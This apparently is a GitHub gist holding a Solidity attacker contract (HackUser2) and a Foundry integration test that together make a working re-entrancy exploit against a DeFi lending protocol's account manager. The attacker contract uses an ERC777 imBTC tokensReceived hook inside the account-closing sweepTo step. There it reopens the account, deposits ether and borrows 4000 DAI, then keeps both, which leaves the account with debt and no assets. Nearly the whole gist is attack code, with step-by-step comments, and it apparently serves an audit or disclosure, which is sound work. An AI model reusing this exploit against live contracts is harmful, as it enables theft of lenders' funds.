Skip to content

Instantly share code, notes, and snippets.

@panprog
Created September 6, 2022 20:56
Show Gist options
  • Save panprog/2f16348325303869f7d84653cf99fba1 to your computer and use it in GitHub Desktop.
Save panprog/2f16348325303869f7d84653cf99fba1 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import {IERC20} from "../../../interface/tokens/IERC20.sol";
import {TestERC20} from "../../utils/TestERC20.sol";
import {UniV2LpOracle} from "oracle/uniswap/UniV2LPOracle.sol";
import {IntegrationTestBase} from "../utils/IntegrationTestBase.sol";
import {UniV2Controller} from "controller/uniswap/UniV2Controller.sol";
import {console} from "../../utils/console.sol";
import {IUniV2Factory} from "controller/uniswap/IUniV2Factory.sol";
import {IAccount} from "../../../interface/core/IAccount.sol";
import {IAccountManager} from "../../../interface/core/IAccountManager.sol";
import {IRegistry} from "../../../interface/core/IRegistry.sol";
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
}
interface IERC1820Registry {
function setInterfaceImplementer(
address account,
bytes32 _interfaceHash,
address implementer
) external;
}
contract HackUser2 {
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
address public account;
IAccountManager accountManager;
IRegistry registry;
uint public state;
function init(IAccountManager _accountManager, IRegistry _registry) external {
accountManager = _accountManager;
registry = _registry;
_erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
}
function setState(uint _state) external {
state = _state;
}
function approveERC20(address token, address spender, uint amount) external {
IERC20(token).approve(spender, amount);
}
function transferERC20(address token, address to, uint amount) external {
IERC20(token).transfer(to, amount);
}
function addUniv2Liquidity(address router, address token0, address token1, uint amount0, uint amount1) external {
IUniswapV2Router(router).addLiquidity(token0, token1, amount0, amount1, 0, 0, address(this), block.timestamp);
}
function accountDeposit(address token, uint amount) external {
accountManager.deposit(account, token, amount); // even deposit of 0 adds it to assets
}
function accountApprove(address token, address spender, uint amount) external {
accountManager.approve(account, token, spender, amount);
}
function accountWithdraw(address token, uint amount) external {
accountManager.withdraw(account, token, amount);
}
function accountExec(address target, bytes calldata data) external {
accountManager.exec(account, target, 0, data);
}
function accountClose() external {
accountManager.closeAccount(account);
}
function accountOpen() external {
accountManager.openAccount(address(this));
account = registry.accountsOwnedBy(address(this))[0];
}
function accountBorrow(address token, uint amount) external {
accountManager.borrow(account, token, amount);
}
// ERC777 receiver
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external {
if (state == 1) {
// this is called in Account.sweepTo when transferring IMBTC back to user
// after we exit this function, sweepTo will transfer all remaining ether to our account without any checks
// re-gain control of the account (since sweepTo is called after account is closed)
this.accountOpen();
// deposit 1 ether to account
accountManager.depositEth{value:1 ether}(account);
// borrow 4000 DAI against deposited 1 ether (this is added to assets at index = 2)
accountManager.borrow(account, DAI, 4000*1e18);
state = 0;
// exit re-entrancy, Account.sweepTo continues its loop by transfering all borrowed DAI to user,
// all deposited ether to user and then finishing the transaction
}
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import {IERC20} from "../../../interface/tokens/IERC20.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {TestERC20} from "../../utils/TestERC20.sol";
import {UniV2LpOracle} from "oracle/uniswap/UniV2LPOracle.sol";
import {IntegrationTestBase} from "../utils/IntegrationTestBase.sol";
import {UniV2Controller} from "controller/uniswap/UniV2Controller.sol";
import {HackUser2} from "./HackUser2.sol";
import {console} from "../../utils/console.sol";
import {IUniV2Factory} from "controller/uniswap/IUniV2Factory.sol";
import {IAccount} from "../../../interface/core/IAccount.sol";
import {LToken} from "../../../tokens/LToken.sol";
import {Proxy} from "../../../proxy/Proxy.sol";
import {AggregatorV3Interface}
from "oracle/chainlink/AggregatorV3Interface.sol";
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
}
contract Reentrancy2IntegrationTest is IntegrationTestBase {
address account;
address user = cheats.addr(1);
uint constant INIT_LIQUIDITY = 10000;
address constant UNIV2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant WETH_USDT_LP = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852;
address constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address constant IMBTC = 0x3212b29E33587A00FB1C83346f5dBFA69A458923;
// chainlink oracle
address constant BTCUSD = 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c;
LToken lDaiImplementation;
LToken lDai;
UniV2Controller uniV2Controller;
UniV2LpOracle uniLPOracle;
HackUser2 hackUser;
function setupUniV2Controller() private {
uniV2Controller = new UniV2Controller(WETH, IUniV2Factory(FACTORY), controller);
controller.updateController(UNIV2_ROUTER, uniV2Controller);
controller.toggleTokenAllowance(WETH_USDT_LP);
uniLPOracle = new UniV2LpOracle(oracle);
oracle.setOracle(WETH_USDT_LP, uniLPOracle);
oracle.setOracle(IMBTC, chainlinkOracle);
chainlinkOracle.setFeed(IMBTC, AggregatorV3Interface(BTCUSD));
}
function setUp() public {
setupContracts();
setupOracles();
setupUniV2Controller();
setupWethController();
setupCurveController();
accountManager.toggleCollateralStatus(USDC);
accountManager.toggleCollateralStatus(DAI);
lDaiImplementation = new LToken();
lDai = LToken(address(new Proxy(address(lDaiImplementation))));
lDai.init(ERC20(DAI), "lDai", "lDai", registry, 1e17, treasury);
lDai.initDep('RATE_MODEL');
registry.setLToken(DAI, address(lDai));
//account = openAccount(user);
}
function testReentrancy2() public {
hackUser = new HackUser2();
user = address(hackUser);
hackUser.init(accountManager, registry);
hackUser.accountOpen();
account = hackUser.account();
deal(USDC, user, 2000e6);
// deal fails for imBTC, so prank for user with balance instead
//deal(IMBTC, user, 10);
cheats.startPrank(0x3b938E9525e14361091ee464D8AceC291b3caE50);
IERC20(IMBTC).transfer(user, 1e8);
cheats.stopPrank();
cheats.deal(user, 10e18); // give user some ether
// Deploy uniswap v2 USDC-IMBTC pool
address pairAddress = IUniswapV2Factory(FACTORY).createPair(USDC, IMBTC);
hackUser.approveERC20(USDC, UNIV2_ROUTER, INIT_LIQUIDITY);
hackUser.approveERC20(IMBTC, UNIV2_ROUTER, INIT_LIQUIDITY);
hackUser.addUniv2Liquidity(UNIV2_ROUTER, USDC, IMBTC, INIT_LIQUIDITY, INIT_LIQUIDITY);
// transfer minimum liquidity into account directly
hackUser.transferERC20(pairAddress, account, 1);
// add USDC + IMBTC to assets via calling removeLiquidity via exec
hackUser.accountApprove(pairAddress, UNIV2_ROUTER, type(uint).max);
// the following should be in another block (for account deactivation to work)
vm.warp(block.timestamp + 60);
vm.roll(block.number + 1);
// Encode Calldata
bytes memory data = abi.encodeWithSignature(
"removeLiquidity(address,address,uint256,uint256,uint256,address,uint256)",
USDC, IMBTC, 1, 0, 0, account, block.timestamp);
hackUser.accountExec(UNIV2_ROUTER, data);
// account now has dust USDC and IMBTC at index=0 and 1
// add DAI into assets at index = 2 to withdraw it back in sweepTo
hackUser.accountDeposit(DAI, 0); // this will add DAI to assets list without transferring tokens
// at this point account has assets list: USDC, IMBTC, DAI
// (DAI is the last in the list, which is important since re-entrancy should be initiated before DAI
// is sent back to user in sweepTo)
// give some liquidity to lDai
deal(DAI, lender, 2000000*1e18);
cheats.startPrank(lender);
IERC20(DAI).approve(address(lDai), type(uint).max);
lDai.deposit(1000000*1e18, lender);
cheats.stopPrank();
// signal for user to start re-entrancy on receiving IMBTC token
hackUser.setState(1);
// close account, which calls sweepTo in the end, where re-entrancy via IMBTC is initiated,
// user deposits 1 ether, borrows 4000 DAI, then exits re-entrancy, which transfers all DAI
// to user and all ether to user, leaving account with 0 assets and 4000 DAI debt
hackUser.accountClose();
// verify that user has received 4000 DAI
console.log("user DAI balance after account closed", IERC20(DAI).balanceOf(user));
console.log("account balance", riskEngine.getBalance(account));
console.log("account debt", riskEngine.getBorrows(account));
console.log("account healthy?", riskEngine.isAccountHealthy(account));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment